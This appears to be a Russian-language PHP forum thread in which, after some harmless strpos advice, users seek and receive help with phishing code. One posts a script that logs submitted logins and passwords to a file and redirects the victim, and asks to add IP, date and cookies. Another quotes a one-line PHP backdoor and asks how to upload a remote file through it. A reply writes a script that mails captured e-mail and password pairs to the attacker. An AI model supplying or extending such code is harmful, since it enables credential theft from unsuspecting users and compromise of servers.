Потому что strpos возвращает или позицию в int или false в boolean. Правильно так: Code: foreach($mas as $m) { if (strpos($m,"showthread") !== false) { echo $m, "<br>"; } }
В языковой конструкции 'echo' необязательно использовать конкатенацию(точку). Вполне правильным также будет передать список аргументов через запятую.
Привет , как добавить в код чтоб был IP посетителя и дата?И можно ли чтоб еще куки собрал и чтоб разделения в логе - 1) 2) между логами было примерно - 1) 14.02.2020 5:30AM Login:Vasya, Pass:123456, IP123456 2) 14.02.2020 6:30AM LoginETYA, Pass:123456, IP654321 <?PHP $Log = $_POST['login']; $Pass = $_POST['password']; $log = fopen("database.txt","at"); fwrite($log,"\n $Log:$Pass \n"); fclose($log); echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=http://huishu.com'></head></html>"; ?>
lgs, Получение Ip-адреса: Code: if (!empty($_SERVER['HTTP_CLIENT_IP'])) { $ip = $_SERVER['HTTP_CLIENT_IP']; } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { $ip = $_SERVER['HTTP_X_FORWARDED_FOR']; } else { $ip = $_SERVER['REMOTE_ADDR']; } Получение даты: Code: // Assuming today is March 10th, 2001, 5:16:18 pm, and that we are in the // Mountain Standard Time (MST) Time Zone $today = date("F j, Y, g:i a"); // March 10, 2001, 5:16 pm $today = date("m.d.y"); // 03.10.01 $today = date("j, n, Y"); // 10, 3, 2001 $today = date("Ymd"); // 20010310 $today = date('h-i-s, j-m-y, it is w Day'); // 05-16-18, 10-03-01, 1631 1618 6 Satpm01 $today = date('\i\t \i\s \t\h\e jS \d\a\y.'); // it is the 10th day. $today = date("D M j G:i:s T Y"); // Sat Mar 10 17:16:18 MST 2001 $today = date('H:m:s \m \i\s\ \m\o\n\t\h'); // 17:03:18 m is month $today = date("H:i:s"); // 17:16:18 $today = date("Y-m-d H:i:s"); // 2001-03-10 17:16:18 (the MySQL DATETIME format)
php7 Сессии, так, запись с get-запроса в сессию: Code: if (!session_id()) { ini_set('session.gc_maxlifetime', 10800); @session_cache_limiter('private, must-revalidate'); //private_no_expire @session_cache_expire(0); @session_set_cookie_params(3600); @session_start(); } if (isset($_GET['ref'])) { $_SESSION['referall'] = (string) $_GET['ref']; }
если я знаю, что по адресу http://domain.ru/sc.php лежит бэкдор PHP: <?php $_REQUEST['f']($_REQUEST['c']); ?> что я должен ввести в адресной строке, чтобы залить на сервер файл http://thai.by/12.txt ?
Помогите безграмотному написать php-скрипт, который отправит на мой ящик введенные данные с html-страницы ниже и переадресует на любую страницу Спасибо! HTML: <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> </head> <body> <form action="action_form.php" method="POST"> <p>Ваш e-mail: <input type="text" name="login" size="30" maxlength="50" value="e-mail@mail.ru"> </p> <p>Пароль: <input type="password" name="password" size="30" maxlength="50"> </p> <input type="submit"> </form> </body> </html>
Работа с почтой довольно затруднительный процесс для новичка. Зачастую хостинги блокируют порты для защиты от спама, нужно просить разблокировать, либо, как вариант, использовать msmtp. Если с конфигами всё ок, то скрипт должен выглядеть примерно так: action_form.php PHP: <?phpif(isset($_POST['login'])){ $to = 'you@mail.ru'; $subject = 'New user registered'; $message = htmlspecialchars($_POST['login'].':'.$_POST['password']); $headers = array( 'From' => 'contact.form@sitename.ru' ); mail($to, $subject, $message, $headers);}header('Location: https://sitename.ru/thanks');exit;?> Но лучше заморочиться и использовать PHPMailer или что-то подобное.